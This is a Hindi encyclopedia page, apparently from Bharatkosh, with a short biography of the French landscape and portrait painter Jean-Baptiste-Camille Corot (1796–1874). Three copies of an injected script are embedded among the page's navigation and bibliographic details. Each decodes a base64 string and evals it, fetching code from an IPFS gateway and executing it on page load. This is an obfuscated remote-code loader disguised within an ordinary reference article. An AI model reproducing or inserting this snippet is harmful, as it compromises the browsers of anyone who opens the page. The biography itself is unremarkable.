कोमिल जाँ बाप्तिस्त कोरो
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कोमिल जाँ बाप्तिस्त कोरो
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 3 |
पृष्ठ संख्या | 170 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पांडेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1976 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | पद्मा उपाध्याय |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कोमिल जाँ बाप्तिस्त कोरो (1796-1874), फ्रेंच भूदृश्य (लैंड स्केप) तथ प्रतिकृति (पोट्रेट) चित्रकार। उन्होंने आरंभ में प्रकृतिचित्रण किया फिर जब 1825 में उन्होंने इटली की यात्रा की तब उनकी चित्रणशैली बदल गई। इस काल के बनाए हुए चित्र उनके समस्त चित्रों में उत्कृष्ट माने जाते हैं। इनमें मुख्य फोरम और नार्नी का दृश्य हैं जो लूब्र में सुरक्षित हैं। इटली की दूसरी यात्रा के बाद कोरो बृहदाकार ऐतिहासिक विषयों का चित्रण करने लगा। शताब्दी बाद उसकी शैली में क्रांतिकारी परिवर्तन हो गया। उसने वातावरणीय उस महीन शैली का आरंभ किया जिसके लिये वह प्रसिद्ध है। अब वह रोमांटिक भावात्मकता से अभिभूत था। वे 19वीं शती को क्लासिफल शैली से रोमांटिक शैली को जोड़नेवाली कड़ी माने जाते हैं। अंतिम दिनों में उन्हें बड़ी लोकप्रियता मिली और उनका बड़ा सम्मान हुआ।
टीका टिप्पणी और संदर्भ